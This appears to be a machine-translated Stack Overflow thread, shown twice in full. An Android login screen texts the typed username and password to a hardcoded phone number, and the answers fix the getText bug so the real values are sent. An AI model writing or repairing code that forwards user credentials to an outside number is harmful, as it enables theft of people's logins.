为什么文本 returns 为假?
why get text returns false?
我写这篇文章是为了发送我的用户名和密码,但它 returns false
。为什么?
它向我的 phone 发送了这条消息:User:falsePass:false
我试过char
,charSequense
,string
,...但总是returnsfalse
package com.example.project6;
import android.app.Activity;
import android.os.Bundle;
import android.telephony.gsm.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.Toast;
@SuppressWarnings("deprecation")
public class Login extends Activity {
private ImageView imageview;
private EditText username;
private EditText password;
private Button save;
private String user;
private String pass;
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.login);
init();
}
private void init() {
// TODO Auto-generated method stub
imageview = (ImageView)findViewById(R.id.imageview);
username=((EditText)findViewById(R.id.username));
password=((EditText)findViewById(R.id.password));
save = (Button)findViewById(R.id.save);
save.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
user = getText(R.id.username).toString();
pass = getText(R.id.password).toString();
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("+989132249093", null, "User:"+user+"Pass:"+pass, null, null);
Toast.makeText(Login.this,user, Toast.LENGTH_LONG).show();
Toast.makeText(Login.this,pass, Toast.LENGTH_LONG).show();
Toast.makeText(Login.this,"sent", Toast.LENGTH_LONG).show();
}
});
}
}
请帮帮我
谢谢
如果单击您的按钮时两个编辑文本都不为空,这将在用户中提供值并通过。
username=(EditText) findViewById(R.id.username);
password =(EditText) findViewById(R.id.password);
user = username.getText().toString();
pass = password.getText().toString();
试试这个...
user = username.getText().toString();
pass = password.getText().toString();
getText(int resid)
Return a localized, styled CharSequence from the application's package's default string table.
如果您在 strings.xml
文件中声明了一个字符串,那么它 returns 该字符串 else returns false.
你应该这样做
user = username.getText().toString();
pass = password.getText().toString();
我写这篇文章是为了发送我的用户名和密码,但它 returns false
。为什么?
它向我的 phone 发送了这条消息:User:falsePass:false
我试过char
,charSequense
,string
,...但总是returnsfalse
package com.example.project6;
import android.app.Activity;
import android.os.Bundle;
import android.telephony.gsm.SmsManager;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.Toast;
@SuppressWarnings("deprecation")
public class Login extends Activity {
private ImageView imageview;
private EditText username;
private EditText password;
private Button save;
private String user;
private String pass;
@Override
protected void onCreate(Bundle savedInstanceState) {
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.login);
init();
}
private void init() {
// TODO Auto-generated method stub
imageview = (ImageView)findViewById(R.id.imageview);
username=((EditText)findViewById(R.id.username));
password=((EditText)findViewById(R.id.password));
save = (Button)findViewById(R.id.save);
save.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View arg0) {
// TODO Auto-generated method stub
user = getText(R.id.username).toString();
pass = getText(R.id.password).toString();
SmsManager smsManager = SmsManager.getDefault();
smsManager.sendTextMessage("+989132249093", null, "User:"+user+"Pass:"+pass, null, null);
Toast.makeText(Login.this,user, Toast.LENGTH_LONG).show();
Toast.makeText(Login.this,pass, Toast.LENGTH_LONG).show();
Toast.makeText(Login.this,"sent", Toast.LENGTH_LONG).show();
}
});
}
}
请帮帮我 谢谢
如果单击您的按钮时两个编辑文本都不为空,这将在用户中提供值并通过。
username=(EditText) findViewById(R.id.username);
password =(EditText) findViewById(R.id.password);
user = username.getText().toString();
pass = password.getText().toString();
试试这个...
user = username.getText().toString();
pass = password.getText().toString();
getText(int resid)
Return a localized, styled CharSequence from the application's package's default string table.
如果您在 strings.xml
文件中声明了一个字符串,那么它 returns 该字符串 else returns false.
你应该这样做
user = username.getText().toString();
pass = password.getText().toString();